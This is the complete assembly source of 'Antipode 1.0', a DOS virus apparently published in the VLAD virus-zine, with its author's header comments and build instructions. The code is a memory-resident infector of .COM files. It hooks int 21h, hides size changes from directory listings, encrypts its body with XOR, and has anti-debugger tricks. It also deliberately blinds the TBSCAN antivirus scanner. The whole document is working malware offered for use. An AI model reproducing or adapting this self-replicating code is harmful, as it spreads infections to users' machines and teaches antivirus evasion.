; Hi guys...
; Tonight it's Sun 1 Jan 1995 0:03:16 (4DOS Time)
; The Radio is playing U2's NEW YEARS DAY ;)
; So, I wish you a Happy NEW YEAR !!!!
; This virus is called Antipode, because of the position of France in
; relation to Australia.
; It's my very first release:
; - .COM/.com infection, not COMMAND.COM
; - Find-first/next stealth 4e/4f + 11/12
; - Time based marker: seconds field=2
; - Infects read-only files
; - Restores original Time/Date + second=2
; - XOR encryption
; - Memory resident, using MCB's
; - Infection on Exec+Open+Extended Open
; it's a pretty fast infector... try to scan your disk when
; resident, it will use SCAN/TBSCAN and even F-PROT
; as a vector :)
; - Write Protect Errors removed by int 24h handler
; - I added a little trick to fool Veldman's TBSCAN, when in memory,
; TBSCAN don't scan any infected file...
; I'm sorry, but due to the encryption this virus is a bit tricky to
; create: you must assemble as usual,
; link it to a bin file : IP must be 0
; append it to a .com that just jumps at the end
; now trace the resulting .com and skip the encryption
; but you MUST execute the push dx,
; without getting trapped by Qark :)
; That's not too hard, but you must be worthy to use this virus :)
exec_adr = 0000:0100h ; Address of return
jumps ; Allow Tasm to resolve too
; long jumps
virusseg segment byte public
assume cs:virusseg, ds:virusseg
org 0000h ; Begin the virus at IP=0
start:
push ds:[101h] ; 101=offset of the jump
pop dx
add dx,103h ; Dx=offset start
push dx ; put it on the stack
mov si,offset quit ; adaptation of Qarks routine
; to fool debuggers
add si,dx
mov word ptr ds:[si],20CDh
quit: mov word ptr ds:[si],04C7h
; Heuristics and debuggers
; won't find us now.
call cryptage ; decrypt the virus
jmp debut_cr ; jump to the virus
cryptage proc near
mov si,offset debut_cr ; start of the encrypted area
add si,dx ; fix it
mov di,si ; use si as the xor value
cryptage_2 proc near ; this proc will be called to
; encrypt the virus
mov cx,offset last-offset debut_cr
; cx=length to encrypt
cr: xor word ptr ds:[si],di ; enc/decrypt the virus
inc si ; move to next byte
loop cr ; and enc/decrypt the virus
ret
cryptage_2 endp
cryptage endp
debut_cr:
mov si,offset buffer ; Buffer contains original
; bytes of the virus
add si,dx ; fix it once again
mov di,100h ; destination is entrypoint
push cs
pop es
movsw
movsb ; Patch back to the original
mov ah,02ch ; Ask for the Time
int 21h
cmp dl,242 ; Are we in memory ?
jne not_in_ram ; if not, install
push cs
mov ax,100h
push ax
retf ; go back to original entry
not_in_ram:
push cs
pop ax
dec ax
mov ds,ax ; DS -> MCB
inc ax
mov cx,word ptr ds:[0003]
mov dx,cx ; DX=number of parag. left
add dx,ax
sub cx,(((last2-start)/16)+1)*2
; alloc 2*size of the virus
mov word ptr ds:[0003],cx ; fix the MCB
mov cx,dx
sub cx,(((last2-start)/16)+1)*2
mov es,cx ; es=future cs of the virus
mov cx,(last2-start)+1 ; size of the virus
push cs
pop ds
pop dx
mov si,dx ; si = entry of the virus
push si
push cx
mov di,0
rep movsb ; copy the virus to es:0
pop cx
pop si
rep movsb ; once again
push es
mov cx,offset nextstep
push cx
retf ; Jump to ES:IP
;install the virus in ram and hook vectors
nextstep: ; We are at the top of mem
push cs
pop ds
mov word ptr ds:[farjmp+3],ax
; Fix the return adress
mov ax,3521h ; Save the int 21h vectors
int 21h
mov ds:word ptr save_int21+2,es
mov ds:word ptr save_int21,bx
mov dx,offset my_int21 ; Use our int instead
mov ax,2521h
int 21h
farjmp: jmp far ptr exec_adr ;Return to the original
my_int21 proc far
cmp ah,11h ; Find first
je dir_stealth
cmp ah,12h ; Find next
je dir_stealth
cmp ah,4Eh ; Find first
je find_file
cmp ah,4Fh ; Find next
je find_file
cmp ah,3dh ; File open
je check_it
cmp ah,4bh ; Exec
je check_it
cmp ah,6ch ; Extended open
je check_it
cmp ah,4ch
je terminate
cmp ah,02ch ; Time
jne to_vect
call int21
mov dl,242 ; seconds = 242
push cs
pop bx
iret
check_it:
jmp check_it2
dir_stealth:
call int21
test al,al
jnz not_a_file
pushf
push ax
push bx
push es
mov ah,51h
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al
jnz fcb_ok
add bx,7h
fcb_ok: mov ax,es:[bx+17h]
add bx,3
jmp patch_size
find_file:
call int21
jc not_a_file
pushf
push ax
push bx
push es
mov ah,2Fh
int 21h ; Ask for the DTA
mov ax,es:[bx+16h] ; ax=time
patch_size:
and al,1fh ; ax=seconds
xor al,1 ; are seconds=2 ?
jnz not_infected
mov ax,offset last-offset start
; ax = size of the virus
cmp byte ptr cs:[tbscan_active],1
; is TBSCAN active ?
jne dont_fool
mov ax,word ptr es:[bx+1Ah] ; if active the file size = 0
dont_fool: sub word ptr es:[bx+1Ah],ax
; sub virus size to file size
not_infected:
pop es
pop bx
pop ax
popf
not_a_file:
retf 2 ; no iret to save the flags
; thanks to Qark...
check_it2: pushf
push ax
push bx
push cx
push di
push dx
push ds
push es
push si ; TOO MANY PUSHS !!!
; OPTIMISE !!!
mov byte ptr cs:[function],ah
; save ah for later
cmp ax,6c00h
jne not_extended
cmp dx,0001 ; int 21h ax=6c00h/dx=0001h->
; int 21 ah=3dh
jne no_good
mov dx,si ; the name -> DS:SI
not_extended:
push ds
push dx ; save filename seg/offs
mov ax,3524h
int 21h
mov word ptr cs:[save_int24],bx
mov word ptr cs:[save_int24+2],es
; save int 24h
push cs
pop ds
mov dx,offset my_int24
mov ax,2524h
int 21h ; install our int
pop dx
pop ds ; restore the filename
mov al,00h
push ds
push ds
pop es
mov di,dx
mov cx,0ffh
repne scasb ; seek to the end of the name
push cs
pop ds
cmp byte ptr cs:[function],4bh
jne not_exec
push di
sub di,11
mov si,offset tbscan
mov cx,10
rep cmpsb
jnz not_tbscan
mov byte ptr cs:[tbscan_active],1
not_tbscan:
pop di
not_exec:
sub di,4
push di ; seek to the extension
mov si,offset comfile
mov cx,3
rep cmpsb ; check if the file is a COM
pop di
jz good
push di
mov si,offset comfile+3
mov cx,3
rep cmpsb ; or a com
pop di
jnz no_good
good:
pop ds
cmp byte ptr [di-2],'D' ; COMMAND.COM ?
jnz not_command
cmp byte ptr [di-8],'C'
jz push_no_good
not_command: mov ax,4300h
int 21h ; get the attributes
mov word ptr cs:[save_attrib],cx
jc exit_2 ; if no file exists...RUN !!!
mov ax,4301h
xor cx,cx
int 21h ; set zero attributes
push ds
push dx
mov ax,3d02h ;Open file Read/write
call int21
mov bx,ax ; bx = handle
mov ax,5700h ; get file time/date
int 21h
mov cs:[save_time],cx
mov cs:[save_date],dx ; save them
mov ax,word ptr cs:[save_time]
;Check for an infection
and al,1Fh
xor al,1
je dirty_exit
push cs
pop ds
mov dx,offset buffer+(offset last2-offset start)+1
mov cx,end_patch-patch
mov ax,3F00h ; Read xx first bytes
int 21h ; to te buffer of the second
; copy of the virus in memory
xor cx,cx
xor dx,dx
mov ax,4202h ; Seek to EOF..
int 21h
mov di,ax ; ax = end of file
add di,offset debut_cr-offset start+100h
; di = value of the XOR
sub ax,3h ; ax = adress of the jump
mov word ptr cs:[return+1],ax
; patch the future file
mov si,(offset last2-offset start)+offset debut_cr+1
; si=offset of the 2nd virus
push si
push di
call cryptage_2 ; crypt the 2nd copy
push cs
pop ds
mov dx,offset last2+1 ; dx= offset of the 2nd copy
mov cx,last-start
mov ah,40h
int 21h ; Write the virus to file...
pop di
pop si
call cryptage_2 ; decrypt the 2nd copy
xor cx,cx
xor dx,dx
mov ax,4200h ; seek to start of file
int 21h
push cs
pop ds
mov dx,offset patch
mov cx,end_patch-patch
mov ah,40h
int 21h ; write the jump to the file
mov dx,cs:[save_date]
mov cx,cs:[save_time]
or cx,0001h
and cx,0FFE1h
mov ax,5701h
int 21h ; restore file time/date
dirty_exit:
pop dx
pop ds
mov ah,3eh
int 21h ; close the file
exit_2: mov ax,4301h
mov cx,word ptr cs:[save_attrib]
int 21h ; restore the attributes
push_no_good:
push ds
no_good:
pop ds
mov ds,cs:[save_int24+2]
mov dx,cs:[save_int24]
mov ax,2524h
int 21h ; restore the int 24h
pop si
pop es
pop ds
pop dx
pop di
pop cx
pop bx
pop ax
popf
to_vect: jmp dword ptr cs:[save_int21]
; and call the int 21h
terminate:
mov byte ptr cs:[tbscan_active],0
jmp to_vect
my_int21 endp
my_int24 proc far ; int 24h
mov al,0 ; no problem...
iret ; and return
my_int24 endp
comfile db 'COMcom' ; extensions to infect
tbscan db 'TBSCAN.EXE'
db '[Antipode 1.0]',0
db 'by Automag/VLAD'
tbscan_active db 0
buffer: db 0CDh,20h,90h
int21 proc near
pushf
db 9Ah
save_int21 dw 2 dup (?)
ret
int21 endp
patch:
return: db 0e9h
last: db 00,00
end_patch:
save_int24 dw 2 dup (?)
function db 0
save_attrib dw 0
save_date dw 0
save_time dw 0
last2:
virusseg ends
end start
- VLAD #3 INDEX -